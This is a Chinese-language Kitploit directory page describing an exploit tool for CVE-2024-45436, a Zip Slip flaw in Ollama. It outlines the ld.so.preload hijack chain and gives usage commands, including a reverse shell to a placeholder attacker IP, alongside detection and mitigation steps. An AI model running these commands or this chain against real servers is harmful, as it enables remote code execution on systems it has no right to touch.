Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-45436 — 用于 CVE-2024-45436 的漏洞利用脚本 | Kitploit
工具/GitHubGitHub/srcx404/cve-2024-45436
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubsrcx404/cve-2024-45436

CVE-2024-45436

用于 CVE-2024-45436 的漏洞利用脚本

查看仓库
51年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Ollama CVE-2024-45436 漏洞利用工具

这是一个简洁高效的 Ollama ZIP 遍历漏洞 (CVE-2024-45436) 利用工具。

漏洞描述

CVE-2024-45436 是 Ollama 0.1.47 版本之前存在的一个路径遍历漏洞(也称为 "Zip Slip")。该漏洞允许攻击者通过在 ZIP 文件解压操作过程中利用路径验证不当,将文件写入文件系统上的任意位置。

漏洞存在于 Ollama 的 model.go 文件中的 extractFromZipFile 函数,该函数负责提取模型文件。当 ZIP 文件包含带有目录遍历序列(../)的条目时,Ollama 会将这些文件解压到预期目录之外,从而允许攻击者覆盖关键系统文件。

攻击原理

本工具通过以下方式利用漏洞:

  1. 创建恶意共享对象文件(hook.so),其中包含可执行任意命令的代码
  2. 将其打包到特制的 ZIP 文件中,包含路径遍历条目:
    • ../../../../../../../../../../etc/ld.so.preload - 用于预加载自定义共享对象
    • ../../../../../../../../../../tmp/hook.so - 恶意共享对象本身
  3. 通过 Ollama 的 blob API 上传 ZIP 文件
  4. 创建引用上传的 blob 的模型
  5. 通过请求 embeddings 触发执行

成功执行后,有效载荷将以 Ollama 服务相同的权限运行,可能获得 root 权限的远程代码执行。

环境要求

  • Python 3.6+
  • 所需 Python 包:
    • requests
    • argparse
  • GCC(编译共享对象)
  • 运行 Linux 的易受攻击的 Ollama 实例(0.1.47 之前)

使用方法

root@kitploit:~
python exp.py <目标URL> <命令>

参数说明

  • 目标URL:易受攻击的 Ollama 实例 URL(如 http://example.com:11434)
  • 命令:要在目标系统上执行的命令

选项

  • --no-cleanup:利用后不删除临时文件(用于调试)

使用示例

基本用法:

root@kitploit:~
python exp.py http://目标服务器:11434 "id > /tmp/pwned"

反向 shell:

root@kitploit:~
python exp.py http://目标服务器:11434 "bash -c 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1'"

免责声明

本工具仅供教育和授权安全测试目的使用。未经明确许可对系统进行未授权使用是非法和不道德的。作者对本软件的滥用不承担任何责任。

漏洞检测

组织可以通过以下方式检测是否易受攻击:

  1. 通过 /api/version 检查 Ollama 版本
  2. 查找 /etc/ld.so.preload 或 /tmp/hook.so 中的意外文件
  3. 监控异常的模型创建活动

缓解措施

  • 将 Ollama 更新到 0.1.47 或更高版本
  • 如果无法立即更新,限制对 Ollama API 端点的网络访问
  • 以最低权限运行 Ollama,不要使用 root 用户

技术细节

该漏洞利用了 Ollama 的 ZIP 文件解压过程中的路径验证不当。当通过 API 加载模型时,应用程序从 ZIP 归档中提取文件而不正确地验证文件路径,从而允许目录遍历攻击。

Linux 中的 ld.so.preload 文件用于指定应在所有其他库之前加载的共享库。通过写入此文件,攻击者可以确保其恶意库被任何新进程加载,从而有效地劫持程序执行。

许可证

本项目采用 MIT 许可证 - 详见 LICENSE 文件。

下载工具